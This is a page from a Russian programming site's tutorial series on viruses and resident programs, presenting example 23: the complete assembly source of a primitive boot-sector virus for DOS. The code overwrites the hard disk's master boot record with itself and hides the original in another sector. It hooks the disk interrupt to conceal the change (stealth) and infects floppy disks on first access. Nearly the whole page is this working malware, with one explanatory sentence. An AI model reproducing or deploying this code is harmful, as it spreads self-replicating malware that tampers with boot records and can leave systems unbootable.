Enter
Программирование Web Devel Базы данных Исходники Photoshop Хостинг Форум
На главную
CodeNet
Все для программиста !
И не только !
Поиск


  Стоит бывать


  ...Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.

Назад | Далее

     Вот готовая программа:

      -----------------------------------------------------------¬
      ¦                         пример 23                        ¦:
      L-----------------------------------------------------------

.286p
TITLE   Это - COM. программа N23 -- примитивный бутовый вирус
ASSUME        CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment   SEGMENT PARA
              ORG(100h)
Start:
MainProcedure PROC NEAR
              ;
              ;                                   ;внимание! -- при имплан-
              ;                                   ;  тации в область MBR
              ;                                   ;  сектор должен заканчиваться
              ;                                   ;  сигнфтурой  55AAh
              ;
Code_begining:CLI                                 ;¬
              XOR   AX,AX                         ;+SS:SP = 0000:7C00
              MOV   SS,AX                         ;¦   перед областью
              MOV   SP,7C00h                      ;-   загруженного кода
              MOV   SI,SP                         ;SI = 7C00
              MOV   DS,AX                         ;DS = 0
              STI                                 ;AX = 0
              ;
              MOV   BX,word ptr DS:[0413h]        ;¬количество свободной
              DEC   BX                            ;+памяти уменшилось на 1 Кб
              MOV   word ptr DS:[0413h],BX        ;-
              SHL   BX,06                         ;TES = сегмент начала свобод-
              MOV   ES,BX                         ;-     ной памяти
              XOR   DI,DI                         ;DI = 0
              MOV   CX,0100h                      ;¬
              CLD                                 ;+пересылаем данный сектор
              REPNE MOVSW                         ;-     в освобожден. область
              ;
              PUSH  ES                            ;¬
              MOV   BX,Continue_work-Code_begining;+продолжаем выполнение уже
              PUSH  BX                            ;¦     в пересланном коде
              RETF                                ;-
              ;
              ;
Continue_work:MOV   DX,0080h                      ;¬ side 0   disk 1
              MOV   CX,0001h                      ;¦ cyl  0   sect 7
              MOV   BX,7C00h                      ;¦
              PUSH  DS                            ;¦читаем  MBR  винчестера
              POP   ES                            ;+(001) в буфер по адресу
              MOV   AX,0201h                      ;¦       0000:7C00h
              INT   13h                           ;-
              ;
              MOV   AX,word ptr DS:[4Ch]          ;сохраняем вектор 21h
              MOV   word ptr CS:[jmp_old_int13-Code_begining+1],AX
              MOV   AX,word ptr DS:[4Eh]
              MOV   word ptr CS:[jmp_old_int13-Code_begining+3],AX
              CLI
              MOV   word ptr DS:[4Ch],Resident13_begining-Code_begining
              MOV   word ptr DS:[4Eh],CS          ;перехватываем вектор 21h
              STI
              ;
              ;
              CMP   word ptr ES:[7C0Fh],01E8Bh    ;¬
              JNE   treat_it                      ;+проверяем, есть ли
              CMP   word ptr ES:[7C18h],0E3C1h    ;¦в MBR сигнатура
              JE    no_treat_it                   ;-

treat_it:     MOV   CX,0007h                      ;¬
              MOV   AX,0301h                      ;+перемещаем оригинальн. MBR
              INT   13h                           ;-
              ;
              PUSH  CS                            ;¬
              POP   ES                            ;¦
              XOR   BX,BX                         ;+замещаем оригинальн. MBR
              MOV   CX,0001h                      ;¦собственным кодом
              MOV   AX,0301h                      ;¦
              INT   13h                           ;-

no_treat_it:  DB    0EAh,00,7Ch,00,00             ;JMP far 0000:7C00h
              ;
              ;
Resident13_begining:
              CMP   DX,0080h                      ;¬
              JNE   no_stealth                    ;¦
              CMP   CX,0001h                      ;+включение
              JNE   no_stealth                    ;¦stealth-режима
              CMP   AH,02h                        ;¦
              JNE   no_stealth                    ;¦
              MOV   CX,0007h                      ;¦
              JMP   short jmp_old_int13           ;-
              ;
no_stealth:   CMP   DL,01h                        ;проверка работы с
              JA    jmp_old_int13                 ;  дисководами
              PUSH  AX
              PUSH  BX
              PUSH  CX
              PUSH  DX
              PUSH  ES

              XOR   AX,AX                         ;проверяем, включен ли
              MOV   ES,AX                         ;  уже мотор дисковода
              TEST  byte ptr ES:[043Fh],1         ;
              JNZ   motor_started                 ;

              XOR   BX,BX                         ;¬
              PUSH  CS                            ;+обработка дискеты
              POP   ES                            ;¦
              MOV   DH,00                         ;¦
              MOV   CX,0001h                      ;¦
              MOV   AX,0301h                      ;¦
              PUSHF                               ;¦
              PUSH  CS                            ;-
              CALL  jmp_old_int13

motor_started:POP   ES
              POP   DX
              POP   CX
              POP   BX
              POP   AX
jmp_old_int13:                                    ;¬возврат управления DOS-у
              DB    0EAh,00,00,00,00              ;-JMP far ????:????h
              ;
              ;
Resident_ending:
              ;
              ;
              ;
MainProcedure ENDP
              ;
CodeSegment   ENDS
              END Start


     Для некоторой оптимизации предусмотрено вот что:  резидент заражает дис-
кету только если  мотор  дисковода еще не включен  (самое  первое обращение к
дискете).

Назад | Далее




Рейтинг@Mail.ru